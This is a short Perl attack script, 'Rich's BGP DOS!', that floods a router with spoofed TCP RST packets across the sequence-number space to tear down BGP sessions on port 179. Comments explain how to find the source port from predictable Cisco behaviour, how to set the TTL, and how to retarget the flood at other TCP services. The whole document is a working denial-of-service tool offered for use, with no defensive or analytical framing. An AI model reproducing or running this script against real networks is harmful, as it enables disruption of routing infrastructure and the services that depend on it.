#!/usr/bin/perl # # Rich's BGP DOS! # version .02 # Sends out RST flood to DOS BGP Connections # # Requires getopts.pl and Net:RawIP (http://www.ic.al.lg.ua/~ksv/) # #For this to work you must do a preceding scan to figure out what the source port and sequence number should be! #Cisco routers have a magic source port after reboot and all subsequent source ports are incremented by 1 or 512 depending on IOS #And also find out the hops to set the ttl w/ traceroute. Per the RFC, the TTL must be 1 when it arrives at the router. # # require 'getopts.pl'; use Net::RawIP; Getopts('s:p:d:t:x'); $a = new Net::RawIP; die "Usage $0 -s -p -d -t " unless ($opt_s && $opt_p && $opt_d && $opt_t); $count=0; while ($count < 4294967296) { #Increment the count $count=$count + 16384; #Create IP packet! $a->set({ ip => {saddr => $opt_s, daddr => $opt_d, ttl => $opt_t }, #Another TCP port could be specified here to do DOSes on other TCP services. BGP is 179 tcp=> {dest => 179, source => $opt_p, window => 16384, seq => $count, rst => 1} }); #Send it out! $a->send; }

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